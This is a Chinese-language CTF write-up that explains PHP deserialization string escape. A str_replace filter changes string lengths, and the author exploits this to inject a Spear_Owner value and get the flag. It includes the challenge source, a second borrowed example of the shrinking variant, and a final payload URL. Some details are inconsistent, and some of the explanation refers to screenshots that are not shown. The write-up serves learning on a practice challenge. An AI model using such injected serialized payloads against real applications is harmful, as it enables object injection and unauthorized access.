题目简述

题目给出了这样的代码:

<?php
highlight_file(__FILE__);

require_once('Hanxin.exe.php');

$Chant = isset($_GET['chant']) ? $_GET['chant'] : '夺命十三枪';

$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag($Chant);

$before = serialize($new_visitor);
$after = Deadly_Thirteen_Spears::Make_a_Move($before);
echo 'Your Movements: ' . $after . '<br>';

try{
    echo unserialize($after);
}catch (Exception $e) {
    echo "Even Caused A Glitch...";
}
?>

提示有Hanxin.exe.php的页面,打开查看:

<?php

if (basename($_SERVER['SCRIPT_FILENAME']) === basename(__FILE__)) {
    highlight_file(__FILE__);
}

class Deadly_Thirteen_Spears{
    private static $Top_Secret_Long_Spear_Techniques_Manual = array(
        "di_yi_qiang" => "Lovesickness",
        "di_er_qiang" => "Heartbreak",
        "di_san_qiang" => "Blind_Dragon",
        "di_si_qiang" => "Romantic_charm",
        "di_wu_qiang" => "Peerless",
        "di_liu_qiang" => "White_Dragon",
        "di_qi_qiang" => "Penetrating_Gaze",
        "di_ba_qiang" => "Kunpeng",
        "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts",
        "di_shi_qiang" => "Overlord",
        "di_shi_yi_qiang" => "Letting_Go",
        "di_shi_er_qiang" => "Decisive_Victory",
        "di_shi_san_qiang" => "Unrepentant_Lethality"
    );

    public static function Make_a_Move($move){
        foreach(self::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement){
            $move = str_replace($index, $movement, $move);
        }
        return $move;
    }
}

class Omg_It_Is_So_Cool_Bring_Me_My_Flag{

    public $Chant = '';
    public $Spear_Owner = 'Nobody';

    function __construct($chant){
        $this->Chant = $chant;
        $this->Spear_Owner = 'Nobody';
    }

    function __toString(){
        if($this->Spear_Owner !== 'MaoLei'){
            return 'Far away from COOL...';
        }
        else{
            return "Omg You're So COOOOOL!!! " . getenv('FLAG');
        }
    }
}

?>

同时,网页下面还有这样的回显:

Your Movements: O:34:”Omg_It_Is_So_Cool_Bring_Me_My_Flag”:2:{s:5:”Chant”;s:15:”夺命十三枪”;s:11:”Spear_Owner”;s:6:”Nobody”;}
Far away from COOL…

注意:在php中,中文的字符串长度是根据所占字节来决定的,utf-8编码下每个中文字符所占字节为3,所以夺命十三枪的长度是15

题目的大致意思,是让我们通过chant传参,将Spear_Owner改为Maolei,同时,我们传入的参数会根据一定规则被替换

逐步题解

我们向chant传入test,发现回显变为:

Your Movements: O:34:”Omg_It_Is_So_Cool_Bring_Me_My_Flag”:2:{s:5:”Chant”;s:4:”test”;s:11:”Spear_Owner”;s:6:”Nobody”;}
Far away from COOL…

也就是说从s:5:”Chant”;s:15:”夺命十三枪”;变成了s:5:”Chant”;s:4:”test”;我们传入的数值被序列化后反序列化,并且我们能够修改chant的值,那么有没有可能我们可以通过在传入的字符串后面加入;}来使得反序列字符串提前结束,并修改参数呢,显然是可以的

PHP字符串反序列化逃逸

首先我们先看看序列化语句的一个有趣的特性:

O:34:”Omg_It_Is_So_Cool_Bring_Me_My_Flag”:2:{s:5:”Chant”;s:4:”test”;s:11:”Spear_Owner”;s:6:”Nobody”;}abcdert

这个语句是可以正常识别并反序列化的,因为反序列化在识别到;}闭合之后就不会管后面的其他字符

我们可以依照题目来进一步理解,我们先传入一个正常的数据,?chant=di_jiu_qiang,回显如下:

Your Movements: O:34:”Omg_It_Is_So_Cool_Bring_Me_My_Flag”:2:{s:5:”Chant”;s:11:”Penetrating_Gaze”;s:11:”Spear_Owner”;s:6:”Nobody”;}

我们仔细观察chant属性这块,我们可以发现,我们传入的di_qi_qiang是一个长度为11的字符串,而经过php的字符替换后,构造出来的却是Penetrating_Gaze,这个字符串长度为16,而反序列化语句却显示这个字符串只有11的长度,所以导致了错误,但是这多出来的5个长度却给了我们操作的空间,我们颗粒利用这些空间来藏我们的恶意语句。

打个比方,我们这题需要构造的语句是”;s:11:”Spear_Owner”;s:6:”MaoLei”;},它的长度为35,而我们知道传入七个di_qi_qiang会有5个长度的差,那么传入7个di_qi_qiang就会有35个长度的差,而这35个长度的差就是让我们填充”;s:11:”Spear_Owner”;s:6:”MaoLei”;}的

因为,如果我们不填充这个语句,就会因为替换前的长度比替换后的长度短而错误,如果我们加上恶意字符串,替换前后的长度就对应,这个反序列化语句也就能在我们构造的;} 处闭合,并且忽略了后面原本的反序列化语句。

反之同理,如果替换后的长度比替换前少,同样也可以通过类似的方法进行逃逸,我不能基于本题理解,或者本题不能使用减少的办法来做,(貌似减少需要能够修改最后一段的条件?)所以给出一些其他博客的介绍:

<?php
class A{
	public $name = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:6:"passwd";s:3:"123";}';
	public $passwd = '1234";s:6:"passwd";s:3:"123';
}
$ss = new A();
$str = serialize($ss);
//echo $str;
function filter($str){
    return str_replace('bb','a',$str);
}
$tt = filter($str);
echo $tt;
$qq = unserialize($tt);
var_dump($qq);
?>

要将s:6:”passwd”;s:3:”123成功反序列化,那么就要把”;s:6:”passwd”;s:27:”1234这段字符串给吃掉。这段字符串一共有25个字符,则我们在name中输入25个bb。就可以达到效果。



这里错误是因为s:5:”zddo”长度不够,他向后吞噬了一个双引号,导致反序列化格式错误,从而报错,我们要做的就是让他往后去吞噬一些我们构造的一些代码。以下讲具体实施。

同样的,我们这里以修改age为例,不同的是与增加字符串传值的地方有些许不同,我们构造的值是有一部分让他吞噬的

先正常传递值序列化出我们需要修改的值,我们需要的是将age:13改为35

取出”;s:3:”age”;s:2:”35”;}这就是我们需要构造的,接着继续将这部分内容重新传值,序列化出来,得到下面的结果

选中部分就是我们构造出来,他需要吞噬的代码,s:22:””这个双引号里面我们还有操作的空间,用来补齐字符串长度,接着就是计算我们自己所需要吃掉的字符串长度为18,根据过滤,他是将两个o变成一个,也就是每吃掉一个字符,就需要有一个oo,那我们需要吃掉的是18个长度,那么我们就需要18个oo,在吞噬结束之后我们的格式又恢复正确,使得真正的字符s:3:”age”;s:2:”35”;逃逸出来,成功加入反序列化


累了,直接截图吧



获取flag

那么答案就很简单了,我们可以利用长度增加来逃逸字符串,我们传入7个di_qi_qiang和我们的恶意代码”;s:11:”Spear_Owner”;s:6:”MaoLei”;}就可以了,payload如下:

?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
⬆︎TOP